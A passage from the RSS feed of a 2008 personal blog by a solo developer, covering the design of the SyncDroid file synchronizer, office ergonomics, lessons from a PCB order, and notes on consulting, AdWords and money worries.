           18 17.1429 libc-2.7.so
           17 16.1905 python2.5</pre>
<p>The vast majority of the time is now spent in the kernel, not in the SQLite library.</p>
<p>I&#8217;m not sure what conclusion to draw from this, yet. Perhaps &#8217;showers are good&#8217;. So far, it does not appear that either Python or SQLite will cause performance problems.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Reflections on synchronizer algorithms</title>
		<link>http://www.sixproducts.com/2008/06/18/reflections-on-synchronizer-algorithms/</link>
		<comments>http://www.sixproducts.com/2008/06/18/reflections-on-synchronizer-algorithms/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 05:06:25 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/66/reflections-on-synchronizer-algorithms/</guid>
		<description><![CDATA[In my classic inability to actually focus on a single task for any length of time, I&#8217;ve been working on SyncDroid.
I&#8217;ve been attacking the tricky areas of data storage and what I refer to as the &#8216;datapath&#8217; - the chain of events that takes place between a change occuring on a computer and it propagating [...]]]></description>
			<content:encoded><![CDATA[<p>In my classic inability to actually focus on a single task for any length of time, I&#8217;ve been working on SyncDroid.</p>
<p>I&#8217;ve been attacking the tricky areas of data storage and what I refer to as the &#8216;datapath&#8217; - the chain of events that takes place between a change occuring on a computer and it propagating (across physical space and time) to another computer . I can partly explain why nobody has done this before: it&#8217;s really tricky.</p>
<p>Unison (and most other synchronizers) make some simplifying assumptions:</p>
<ul>
<li>There is always a master computer and a slave computer</li>
<li>We only care about what is happening at this exact moment in time</li>
<li>We can synchronize the times on the two computers when the synchronization occurs</li>
<li>We can suck up as much CPU and IO time as we like while synchronization takes place</li>
</ul>
<p>Unfortunately, none of these are true for SyncDroid. They have interesting consequences.</p>
<h3>There is always a master and a slave</h3>
<p>This makes configuration management really easy: you always look to the master computer. In network-connect hosts, the master is (by definition) contactable, so you can just tell it to update its configuration with any changes made on the slave end.</p>
<p>SyncDroid doesn&#8217;t have this luxury. In the case of USB-drive synchronization, the two computers cannot just tell each other about changes. So there&#8217;s an interesting sub-synchronization problem: in order to know what <em>data</em> we need to synchronize, we need to synchronize the <em>configuration </em>first.</p>
<h3>We only care about a single moment in time</h3>
<p>There&#8217;s really only one trap if you use this assumption: files might change between the time you detect a change and when you actually synchronize it. This is easy to solve if you take out an exlusive lock on the file-being-synchronized and ensure that it still looks like it did when you scanned it.</p>
<p>SyncDroid cares about lots of points in time. Because it syncs constantly, we have to be very careful about what state we <em>think </em>a file is in versus what state it <em>actually</em> is in. If you&#8217;re doing syncs to multiple partners, you have to keep track of all relevant metadata for all partners. If a partner goes away - say the user loses the USB drive - we shouldn&#8217;t waste time and resources tracking data that will never be used. And we can&#8217;t just rescan things constantly or lock files because that would hurt performance (or make it impossible for users to actually do work). I&#8217;m a user of this thing, too, and if it doesn&#8217;t perform acceptably, I won&#8217;t use it!</p>
<h3>We can synchronize computer times easily</h3>
<p>On a network-connected synchronizer, this is easy. You run some variation of the NTP protocol between the two hosts and calculate an offset so that you don&#8217;t disturb the user&#8217;s clock. You can then work out relative change timings and the best course of action.</p>
<p>Because this version of SyncDroid works over USB drives, it can&#8217;t synchronize times easily. I get around that with a &#8216;mountcount&#8217; - it&#8217;s just a number that is incremented every time the metadata on a drive is loaded. RAID arrays use the same idea to detect drives that were unplugged from an array and are now out-of-sync with the rest of the array. Each computer using a USB drive can then use the mountcount to determine relative change times without being dependent on the computer&#8217;s clock, which will probably be wrong.</p>
<p>The consequence of the mountcount is that multiple access to the metadata is strictly forbidden. This is reasonably easy to ensure and shouldn&#8217;t be visible to the user.</p>
<h3>We can suck up as much CPU and IO time as we like</h3>
<p>This is a big one, and it&#8217;s one of the major reasons I started this project. None of the current synchronizers are sensitive to the user. Perhaps I&#8217;m a dreamer, but I would like my files to be synchronized without taking a massive hit in PC performance (or battery life).</p>
<p>Unison (as well as most synchronizers) will do exactly  what you tell them to. If you say &#8217;scan for changes&#8217;, they will scan <em>right now</em>. If you say propagate changes, they will propagate right now. While they are working, the computer is struggling under massive IO load, and if you have large amounts of data (like I do) that could lead to several minutes where the disk is spinning and you can&#8217;t use the computer and you have to sync <em>right now because your plane is leaving but it&#8217;s still running and argh I&#8217;m going to be late</em>.</p>
<p>SyncDroid has a fairly involved set of priorities to determine under what circumstances it should scan and sync and bookkeep. For example, it has two scanner types: a notification scanner (which uses the OS to determine when files have changed) and a comprehensive scanner (in case SyncDroid wasn&#8217;t running and you changed a file). The notification scanner runs all of the time, but if you&#8217;re on battery or using the computer, it just remembers the changes in RAM and gets out of the way as quickly as possible. The comprehensive scanner only runs when the computer is connected to power and you&#8217;re not using it.  In this way, you get the effect of non-stop change scanning without any perceptible difference to your computer&#8217;s responsiveness.</p>
<p>There is a big &#8216;but&#8217; here, and it&#8217;s one of those annoying engineering tradeoffs: if you are not aggressive enough about scanning, you will miss changes (say, the user disconnects their laptop without warning). If you are too aggressive, you&#8217;ll slow down the computer. The trick is to find a set of tradeoffs that works well in most circumstances. In those cases that it <em>doesn&#8217;t </em>work, you can warn the user and give them an opportunity to fix the problem (by plugging the laptop back into the network for a minute, for example).</p>
<h3>Data Storage</h3>
<p>And then, there&#8217;s the hairy issue of where to put all of this data that we&#8217;re collecting. What we have is roughly a parallel filesystem to the one on the disk: for a file, we want to store some metadata. The best way to store this, from a design point of view, would be to store it in the filesystem itself, but this is impractical for a number of reasons (don&#8217;t want to change the user-visible view of their data, no filesystem support, differing semantics between systems, and so on).</p>
<p>So we have to create a filesystem within a filesystem. It&#8217;s another meta-problem like the sub-synchronization problem in configuration management. I considered doing this in the literal fashion - creating an image on disk with a virtual ext2 filesystem. Instead of files, there would be structs of metadata that I had collected. Licensing issues were, well, issues here, and it would require me to maintain a fairly complicated data access layer. The big technical problem is that contemporary filesystem assume a constant-sized disk, while I wanted to be able to expand and shrink the image size dynamically.</p>
<p>My stopgap solution (while this is all stubbed out in my code) is to use a YAML file. I adore YAML. It is not a high-performance data access layer, however, and it was not designed as such. It&#8217;s just very easy to use.</p>
<p>Another option was a custom C data type - or, phrased another way, &#8216;write my own filesystem&#8217;. Lots of effort. Transaction management is a big hairy problem that I don&#8217;t want to get into.</p>
<p>Finally, SQLite. I love SQLite - it&#8217;s very easy to use and gives you very powerful query functionality. It handles on-disk consistency well and - used sensibly - can be very high-performance.</p>
<p>Many applications, sadly, do not use SQLite in a sensible fashion. (I&#8217;m looking at you, Meta-Tracker). Like any SQL database, you can do silly things to it that will absolutely destroy its performance characteristics. A classic in this situation is if you want a directory listing and your rows look like { filename | data }; the database needs to do a &#8217;starts-with&#8217; check on each row in the database because there&#8217;s no easy way to index efficiently by filename <strong>and </strong>retain  simplistic tree-searching operations. This is Really Really Slow.</p>
<p>My current plan is to solve this by implementing a more traditional inode/parent structure within my database schema. I have the big advantage of knowing exactly which operations are necessary (read record by path+name, write record by id, create record by path+name, list children by path) and so can optimise specifically for them.</p>
<h3></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/06/18/reflections-on-synchronizer-algorithms/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Office ergonomics</title>
		<link>http://www.sixproducts.com/2008/06/07/office-ergonomics/</link>
		<comments>http://www.sixproducts.com/2008/06/07/office-ergonomics/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 23:01:09 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/64/office-ergonomics/</guid>
		<description><![CDATA[Joel Spolsky has just posted a thing about the desks at Fog Creek&#8217;s new office. It uses an image that is often cited as being &#8216;ergonomic best practice&#8217;, but I can&#8217;t imagine a more horrendous way to spend a day in a chair:

(image borrowed from the Nicholas Institute of Sports Medicine and Athletic Trauma)
This seating [...]]]></description>
			<content:encoded><![CDATA[<p>Joel Spolsky has just posted a thing about the <a href="http://www.joelonsoftware.com/items/2008/06/06.html">desks at Fog Creek&#8217;s new office</a>. It uses an image that is often cited as being &#8216;ergonomic best practice&#8217;, but I can&#8217;t imagine a more horrendous way to spend a day in a chair:</p>
<p><a href="http://www.sixproducts.com/64/office-ergonomics/65/" rel="attachment wp-att-65"><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/desk_layout.jpg" alt="desk_layout.jpg" /></a></p>
<p class="documentFirstHeading">(image borrowed from the Nicholas Institute of Sports Medicine and Athletic Trauma)</p>
<p class="documentFirstHeading">This seating position completely ignores the <em>balance</em> and <em>weight distribution</em> of a normal human.</p>
<p class="documentFirstHeading">What supports the arms and hands? Your muscles do. How do you think that feels after a day of work? Pretty damn awful. Hence, everyone I know rests their shoulders or forearms on an armrest or desk edge, or puts their wrists on a wrist rest. You just can&#8217;t hold your arms in that position all day without support.</p>
<p class="documentFirstHeading">A significant omission is the mechanism by which you support your hand/arm while using a mouse. Wrist injuries are another whole area which I&#8217;ve been lucky to avoid, but solutions include:</p>
<ul>
<li>arm weight goes on your hand (on the mouse), which leads to wrist strain and inefficient mousing</li>
<li>arm weight goes on your wrist (on the desk), which leads to some twisting and nice callouses on your wrist</li>
<li>arm weight goes on a wrist rest, which puts pressure on the tendons in your forearm (and exacerbates carpal tunnel issues)</li>
</ul>
<p class="documentFirstHeading">I don&#8217;t know who they modelled this image on, but that is some <em>damn fine</em> posture they&#8217;ve got around the neck. I can&#8217;t keep my neck that straight when I&#8217;m standing. Maintaining this position requires quite a bit of tension in the rear neck muscles. Unfortunately, most of us also need to work on the desk occasionally and lean forward. This tires the neck muscles. The muscles tire, the head droops forward, the load on the muscles increases, and you go home with a sore upper back.</p>
<p class="documentFirstHeading">Again, this image is modelled on some imaginary human with <em>very short upper arms</em>. A significant problem that I have when setting up my own workstations is that to reach a comfortable table height, I have to compromise between squashing my legs (table lower) and having too acute an angle at my elbows (table higher). In fact, a fairly comfortable keyboard location is on my lap (and it solves the support-the-arm-weight problem to some extent).</p>
<p class="documentFirstHeading">Points 3 and 4 on the image are where your weight is supported. This just <em>does not work</em>. I cannot find a chair or a position in which this does not lead to numbness or loss of blood flow to some part of my legs. (Keep in mind that I&#8217;ve done quite a bit of long-distance cycling purely on my sit bones (3) and not had blood flow issues). The legs have some pretty serious blood vessels running through them and are moving in a normal human. Most people that I know move around through the day, and this helps a lot with blood flow. Keep in mind that sitting in an office chair all day is awfully like <a href="http://en.wikipedia.org/wiki/Deep_vein_thrombosis">sitting in an airplane seat all day</a>.</p>
<p class="documentFirstHeading">&#8216;Feet flat on floor&#8217; is another guideline which I find absurd. You can only reach this condition by adjusting the height of your seat. If you put it too high, the legs will be dangling and exacerbate blood flow problems at 3 and 4. If you put it too low, the legs will either be out in front and unsupported, or in the suggested position, under compression and throwing off the rest of your balance. This is an extremely fine balance to make, and completely incompatible with the idea of moving around in your chair during the day.</p>
<p class="documentFirstHeading">Most office chairs won&#8217;t go high enough for me to put my feet flat on the floor. I&#8217;m about 6ft/180cm, so while tall, I&#8217;m not <em>that</em> tall. The legs on most chairs will get in the way of your feet <em>anyway</em>, so this is a very unhelpful guideline.</p>
<p class="documentFirstHeading">Finally, the fact that you&#8217;re pushing against the chair at 1 and 2 means that your entire body is being shoved forward (Newton&#8217;s Laws strike again). The force must be balanced at 3, 4 and 7 (hence compression of the legs). Because you have nothing particularly good to push again, it&#8217;s all frictional, and you tend to slide forward in your seat. Then you&#8217;re a sloucher. One of us!</p>
<h3 class="documentFirstHeading">Enough complaining. What to do?</h3>
<p>First, buy a good chair. You spent good money on a bed to be in for 8 hours/day; now you have to spend good money on a chair that you&#8217;ll be in for another 8 or 12 or 16.</p>
<p>I worked on an Aeron for a few months but didn&#8217;t like it. The mesh is too stiff for my bony butt and the whole thing is very heavy and difficult to adjust. I eventually bought a Steelcase Leap and am fairly satisfied. (It was also half the price of the Aeron in Sydney. Just watch the 8-week shipping.) No, it doesn&#8217;t have mesh, but I find fabric and some padding to be more comfortable. And you can choose colours!</p>
<p>Roughly, my setup is:</p>
<ul>
<li>Elbows rest on the armrests. This works way better than no support, but isn&#8217;t great. Some people use a towel on the desk to provide extra padding, and as a bonus it catches food and coffee &#8216;accidents&#8217;.</li>
<li>Chair is high enough that I can either stretch my feet out across the floor or tuck them under and rest on the chair legs.</li>
<li>Tilt varies through the day. I can either sit up if I&#8217;m working on the desk a lot, or recline back if it&#8217;s mid-afternoon and I&#8217;m cruising.</li>
<li>Slouching is a no-no. If I&#8217;m starting to slouch, I tilt the chair back. I&#8217;m a hardcore sloucher.</li>
<li>I use a <a href="http://www.kinesis-ergo.com/contoured.htm">Kinesis Contoured</a> keyboard and strongly recommend them. They have big wrist-rest areas and supply with pads. Admittedly, I rely on this too much (the keyboard is designed to have your hands hovering) but it works fairly well.</li>
<li>I use the mouse as little as possible. My geek is showing here, but I use a <a href="http://en.wikipedia.org/wiki/Tiling_window_manager">tiling window manager</a>. This is a massive timesaver; there&#8217;s no fussing with window positioning and hence much less mouse use.</li>
<li>I use a <a href="http://www.standit.com/">Standit</a> to hold laptops up at eye level and <a href="http://synergy2.sourceforge.net/">Synergy</a> so that I&#8217;m not reaching across the desk or shuffling keyboards around.</li>
<li>I learned to mouse with either hand, since the joints of my right hand are fairly worn out after too much playing Quake. I wish I was joking.</li>
</ul>
<p class="documentFirstHeading">I expect that each person is going to have a slightly different way to solve these problems, so please share how you approach these issues in your own office.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/06/07/office-ergonomics/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PCBs are finally ready!</title>
		<link>http://www.sixproducts.com/2008/05/29/pcbs-are-finally-ready/</link>
		<comments>http://www.sixproducts.com/2008/05/29/pcbs-are-finally-ready/#comments</comments>
		<pubDate>Thu, 29 May 2008 03:57:31 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/55/pcbs-are-finally-ready/</guid>
		<description><![CDATA[I&#8217;ve had PCBs on order for my Bluetooth sensors for about a month now. They finally arrived today.
I got these made at Futurlec. Their quoted tolerances are quite large by modern standards, but since I&#8217;m not building a complicated board, I figured this would be OK. This is one of the tighter-packed boards that I&#8217;ve [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve had PCBs on order for my Bluetooth sensors for about a month now. They finally arrived today.</p>
<p>I got these made at Futurlec. Their quoted tolerances are quite large by modern standards, but since I&#8217;m not building a complicated board, I figured this would be OK. This is one of the tighter-packed boards that I&#8217;ve worked on, so I&#8217;m probably pushing their manufacturing abilities a little.</p>
<p>The board is double-sided with solder mask and silk-screening on both sides. Some parts of the board do require the minimum tolerances specced by Futurlec.</p>
<h3>Lesson 1: Don&#8217;t run copper right to the edges of the board.</h3>
<picture> </picture><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/edge-copper.jpeg" alt="edge-copper.jpeg" />When the boards are cut, the bare copper will be exposed. I haven&#8217;t investigated the issue much, but I expect it&#8217;ll allow oxidisation and probably bad things long-term.</p>
<h3>Lesson 2: Don&#8217;t rely on precise hole positioning.</h3>
<p><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/offset-holes.jpeg" alt="offset-holes.jpeg" /></p>
<picture> </picture>Nothing on these boards is <em>bad</em>, but there&#8217;s noticable inconsistency between boards. They&#8217;re usually offset by a constant amount. Some are near-perfect, some have a fraction of a millimeter offset.</p>
<p>The board has a mini-USB socket and I&#8217;ve specified the socket with little mounting posts. There are holes drilled to accomodate these. Of course, offset holes means offset USB socket and possible pad alignment issues. I don&#8217;t think it&#8217;ll be a problem, but certainly something to watch out for next time.</p>
<p><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/offset-silkscreen.jpeg" alt="offset-silkscreen.jpeg" /></p>
<picture> </picture>Similarly, the silkscreen is offset slightly. Probably best not to rely on this being perfect.</p>
<h3>Lesson 3: Better to have too much solder mask than too little.</h3>
<p><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/close-soldermask.jpeg" alt="close-soldermask.jpeg" /></p>
<picture> </picture>The pads between the main CPU are tightly spaced and not all of them have solder mask between them. Since I&#8217;ll be hand-assembling the first few, ease of assembly is fairly important to me. I left the pad-to-mask margin at the Protel default, but I&#8217;ll reduce it in future. Of course, too little will probably lead to parts not sitting flat on the board. Hmm.</p>
<h3>Lesson 4: Where possible, use thicker tracks than the minimum.</h3>
<p><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/weak-corner.jpeg" alt="weak-corner.jpeg" /></p>
<picture> </picture>I should have predicted this after experiencing the same issue when I was etching boards at home. Bends in tracks will tend to get over-etched and hence be thinner. The risk is that they&#8217;ll get so thin that they&#8217;ll break.</p>
<h3>Lesson 5: Don&#8217;t rely on tight grid patterns.</h3>
<p><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/pcb-grid.jpeg" alt="pcb-grid.jpeg" /></p>
<picture> </picture>I covered most of the backside of the board with a gridded ground plane. This was set up to be at the minimum tolerance allowed by Futurlec. Most boards are perfectly fine, but a few are &#8216;underexposed&#8217; - there are solid grid squares where there should be a hole.</p>
<h3>Lesson 6: Don&#8217;t be lazy about rebuilding the ground plane</h3>
<p><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/weak-groundplane.jpeg" alt="weak-groundplane.jpeg" /></p>
<picture> </picture>In a few places, I&#8217;ve got vias pushing through the ground plane (intending to connect to it). I should&#8217;ve explicitly connected rather than relying on the grid to &#8216;coincidentally&#8217; connect. Again, the tracks are getting a bit thin at some points, and I have a sneaking suspicion that some of these are power tracks.</p>
<h3>Overall</h3>
<p>These are all minor quibbles. I don&#8217;t think they&#8217;ll make any substantive difference when I actually build the thing. Most of this comes down to &#8220;be generous with tolerances&#8221;. Don&#8217;t rely on everything being perfect; allow a little slop in the design.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/05/29/pcbs-are-finally-ready/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Status report, 23 May 2008</title>
		<link>http://www.sixproducts.com/2008/05/23/status-report-23-may-2008/</link>
		<comments>http://www.sixproducts.com/2008/05/23/status-report-23-may-2008/#comments</comments>
		<pubDate>Fri, 23 May 2008 03:22:02 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/54/status-report-23-may-2008/</guid>
		<description><![CDATA[Nothing spectacular has happened lately. It&#8217;s just been a lot of the usual hard work.
The amount of work involved has surprised me. It&#8217;s not just the fact that I&#8217;m running multiple parallel projects - just bringing a single project to market is an amazing amount of effort. A lot of the work will be faster [...]]]></description>
			<content:encoded><![CDATA[<p>Nothing spectacular has happened lately. It&#8217;s just been a lot of the usual hard work.</p>
<p>The amount of work involved has surprised me. It&#8217;s not just the fact that I&#8217;m running multiple parallel projects - just bringing a single project to market is an amazing amount of effort. A lot of the work will be faster the second time around, so I&#8217;m not too concerned. I do find it amusing that it&#8217;s been almost six months and I don&#8217;t have <em>any</em> products out yet.</p>
<p>The <a href="http://mutexlabs.com">Mutex Labs</a> website is finally at a state that I&#8217;m happy with. You should hire me as a consultant. Now. Do it!</p>
<p>I&#8217;ve been running AdWords to drum up some more consulting work. So far, the response has been mediocre. I think that part of the problem is that there just aren&#8217;t that many people searching for Python geeks in Australia. Additionally, I don&#8217;t think people are searching on Google for them. It&#8217;s not like it&#8217;s costing me much to keep the ads going, but I don&#8217;t have high hopes for them yet.</p>
<p>I also set up Microsoft AdCenter. So far, they haven&#8217;t given me a single impression. I don&#8217;t know why - even if I search for the exact terms, the ads don&#8217;t appear. I guess I&#8217;m USD$5 in the hole until I can figure out what&#8217;s going wrong.</p>
<p>I am amused that AdCenter appears to have been &#8216;inspired&#8217; by AdWords. And by &#8216;inspired&#8217;, I mean &#8216;completely ripped off&#8217;. I&#8217;m mostly using it because Live is the default search in the new versions of IE and I&#8217;m expecting large growth in the amount of their search traffic soon.</p>
<p>My experience with online freelancing websites (Elance, Rentacoder, etc) has been very poor so far. I&#8217;ve seen a few good ideas float across, but so far very little interest from the people advertising the projects. Most projects fit into one of three categories:</p>
<ul>
<li>Advertiser has no idea what they want and gives a ridiculously vague spec (which we then nut out during IM and discover that it&#8217;s a lot harder than they thought originally)</li>
<li>Advertiser gives a good spec with a few glaring flaws. I ask for clarification and get no answer.</li>
<li>Advertiser is only offering slave-labour wages, and so I can&#8217;t afford to take the work anyway.</li>
</ul>
<p>Most of the problems are with specs. I&#8217;m not going to bid on a project that has +/- 50% wiggle room in its spec, and so far that&#8217;s been the good case. And since the hourly rates are very low to begin with, I can&#8217;t afford to take the (high) risk of scope creep with the spec that is in place.Contrasting with last month&#8217;s money concerns, I&#8217;m now inundated with work requests. Nothing concrete yet, just a number of separate inquiries. This sort of highlights one of my frustrations with treating advertising and measuring response rates as a statistical system - noise drowns out your actual data.</p>
<p>I&#8217;m still waiting on PCBs for my data loggers. I think it&#8217;s been&#8230; three weeks now? The manufacturers&#8217; website quoted one week. It took them a week just to acknowledge that I had sent an order. Sigh. I have another place in mind for the next batch, and they&#8217;re pretty quick to respond to emails as well. I also have quotes from a few local places who can do short-turnaround orders - it&#8217;s not cheap, but it&#8217;s good to have the option.</p>
<p>Data logger firmware is about 60% complete. Of course, most of it has only been compiled, not executed, since I still don&#8217;t have hardware. Still, it feels good to make such rapid progress.</p>
<p>SyncDroid is stalled. I&#8217;m going to run out of data logger code to write soon, so it&#8217;ll get some more attention shortly.</p>
<p>I&#8217;ve also been playing with a &#8216;keyword mixer&#8217; that generates all possible combinations of words, intended for AdWords and the like. It&#8217;s come up because I have a number of skills that I want to advertise (for example, &#8216;Python&#8217;, &#8216;AVR&#8217;, &#8216;Gumstix&#8217;). Using &#8216;Python&#8217; as a bare keyword gets a lot of clicks but no conversions (too generic), so I make the search terms more specific by adding terms like &#8216;development&#8217;, &#8216;consultant&#8217;, &#8216;expert&#8217;, and so on. So, the mixer generates every combination from the two lists. Then you copy and paste it into AdWords and tweak from there.</p>
<p>I want to do similar mixing with ad headlines and bodies to help with comparative benchmarking.</p>
<p>It took me about half an hour two write as a Python script. There are a few programs that do similar jobs, but you have to download and mess around with them (and pay, in many cases). I&#8217;m thinking of sticking this online and just seeing what happens. I have no solid monetization ideas right now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/05/23/status-report-23-may-2008/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ramblings, 2 May 2008</title>
		<link>http://www.sixproducts.com/2008/05/02/ramblings-2-may-2008/</link>
		<comments>http://www.sixproducts.com/2008/05/02/ramblings-2-may-2008/#comments</comments>
		<pubDate>Fri, 02 May 2008 05:27:43 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/53/ramblings-2-may-2008/</guid>
		<description><![CDATA[I&#8217;ve got money jitters.
Logically, I know they&#8217;re irrational, at least in the short term. There are two contributing factors: I haven&#8217;t had a predictable paycheck for about six months now, and me putting up AdWords didn&#8217;t immediately make the phone ring.
Yup, that&#8217;s all.
I&#8217;m good for cash for probably two years yet. That&#8217;s actually a better [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve got money jitters.</p>
<p>Logically, I know they&#8217;re irrational, at least in the short term. There are two contributing factors: I haven&#8217;t had a predictable paycheck for about six months now, and me putting up AdWords didn&#8217;t immediately make the phone ring.</p>
<p>Yup, that&#8217;s all.</p>
<p>I&#8217;m good for cash for probably two years yet. That&#8217;s actually a better prediction than my little thing on the right-hand side of this site, which places my starvation point at Feb 2010. I feel more like someone is tapping me on the shoulder every time I buy something: &#8220;Are you going to get that money from your long-term savings? From your index funds? Are you going to sell something? WHAT? You still owe GST/PAYG and the credit card and rent and Amazon and blah blah blah&#8221;.</p>
<p>I haven&#8217;t had any coffee yet today and it&#8217;s after 3pm. Bear with me.</p>
<p>In other news, I haven&#8217;t felt like blogging much. I&#8217;ve been busy writing content for the Mutex Labs website. My goal there was to get it to a point where it was good enough for me to start pimping it with AdWords, and it is, sort of. I&#8217;m spending pretty much the bare minimum - 25c/click, $5/day - and so am getting very few clicks. But that&#8217;s OK. I&#8217;m already getting good data on what people are interested in and how well the keywords are matching up.</p>
<p>Parts for my first run of Bluetooth sensors are due in any day now. I find that having physical artifacts really clears up how profits actually come about; you buy input parts for $x then sell them for $3x. While the input parts feel kinda expensive, they&#8217;ll sell for what appears to be a huge sum. I don&#8217;t feel the same way about it that I do about selling software, which is kinda like panhandling: &#8220;You like the app? Toss me some cash? Please? Help out a starving programmer?&#8221;. There&#8217;s physical (figurative) meat to manufacturing which is far more understandable to my hunter-gatherer brain.</p>
<p>And of course, <a href="http://www.joelonsoftware.com/items/2008/05/01.html">Joel Spolsky&#8217;s recent post</a> about how file synchronizers are a solved problem and how making fun things is the future. Well, I&#8217;m biased of course, working on a file synchronizer <em>as I do</em>, but I still disagree.</p>
<p>Everyone writes file synchronizers because they&#8217;re an interesting programming problem; yes, it is. I don&#8217;t believe that the market for it is sewn up just yet, though. Lots of people have multiple computers. Not many people use a synchronizer to keep files in sync between them. Why? The best that I can come up with is that they generally suck (as I have previously mentioned). There are a hundred of them and they all look alike. They all have the same annoyances and are generally not worth the effort. I&#8217;m using Unison right now and it&#8217;s alright, but it could be a whole lot better. Sadly, Unison is probably the best that I&#8217;ve seen, despite the hundreds that are out there.</p>
<p>Making fun things. I wrote a somewhat <a href="http://www.mouldy.org/finding-value-in-work">inflammatory rant</a> on another blog a few weeks ago about how &#8216;fun&#8217; things are basically the work of the devil. I still feel that way, and I worry that that&#8217;s where Joel has gone wrong. Fun things are fun, yes, but do they make my life better? Do I wake up in the morning and say &#8220;geez, I&#8217;m glad Twitter is around. It really enhances my life.&#8221;</p>
<p>These are exactly the sort of things that are interesting programming problems but not really consumer problems. Social networking sites. Yes, Facebook is popular. Yes, it&#8217;s valuation is beyond belief. But does it solve a problem? Does it enhance humankind? If fireballs rained down on the Earth and you could only pack a few things into a suitcase before retreating into your underground bunker, would you take the Facebook source code?</p>
<p>I guarantee that you would not.</p>
<p>Perhaps it&#8217;s just me, but I&#8217;m in this to create great things. My view is obviously not shared by everyone, but I&#8217;ve stated repeatedly that my goal in this is not to get fabulously rich. I want to work on fun stuff and be able to live comfortably. That&#8217;s it. I&#8217;d rather be <a href="http://www.armadilloaerospace.com/n.x/Armadillo/Home/News">building rocket ships</a> than websites, even if the latter pays better.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/05/02/ramblings-2-may-2008/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

